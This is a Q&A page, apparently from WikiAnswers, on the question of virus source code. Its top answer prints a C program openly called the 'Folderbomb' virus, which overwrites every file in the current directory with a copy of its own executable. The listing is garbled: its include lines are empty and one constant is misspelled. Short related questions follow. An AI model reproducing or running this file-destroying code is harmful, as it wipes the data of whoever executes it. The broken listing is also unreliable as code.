answersLogoWhite

0


Best Answer

If you're talking about viruses on your computer, No you cannot.

Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.

There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

  1. include
  2. include
  3. include
  4. include
  5. include

void main(int argc,char* argv[])

{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

User Avatar

Wiki User

12y ago
This answer is:
User Avatar
More answers
User Avatar

Wiki User

12y ago

to distruction of computer

This answer is:
User Avatar

Add your answer:

Earn +20 pts
Q: Virus source code
Write your answer...
Submit
Still have questions?
magnify glass
imp
Related questions

Where can you find the source code of the stuxnet virus?

In Iran?


How can you tell if a website is virus free?

learn HTML source code and read the source code of the website before going on it, or get avg and it scans the website before you go on it


What is a DS Virus Code?

A DS virus code is a virus in the ds


Does wizard 101 have a virus?

It is near impossible for a virus to be in the game. To put a virus into the game network, a hacker needs to hack the core system server and modify the entire game connection behavior to insert the virus source code into the game


Can imvu give your computer a virus even if your using norton?

Norton is not dat much popular now because of the source code leak so may be you can get virus


What is a specific pattern of virus code?

Virus Signature


Bk virus nephropathy icd 9 code?

What is ICD 9 code for BK virus


Is virus a system software?

A virus is code, programming code or scripts, so yes, it is software


Does the i love you virus still exist?

Yes, it exists....The ILOVEYOU virus is a destructive virus/worm created in VBscript created to target Microsoft based systems via email or IRC and creates loss of data on ones HDD (Hard Drive).Note: I will only provide selected parts of the source code and not the full code for security reasons.


What does the virus nucleic acid do?

Stores the virus' program code that tells how to do everything the virus needs to do.


Is a virus signature a portion of virus code that is unique to a particular computer virus?

virus signatures


Is Source Code the same as CSS Code?

It can be but source code is just the code of a webpage. Whatever format it is.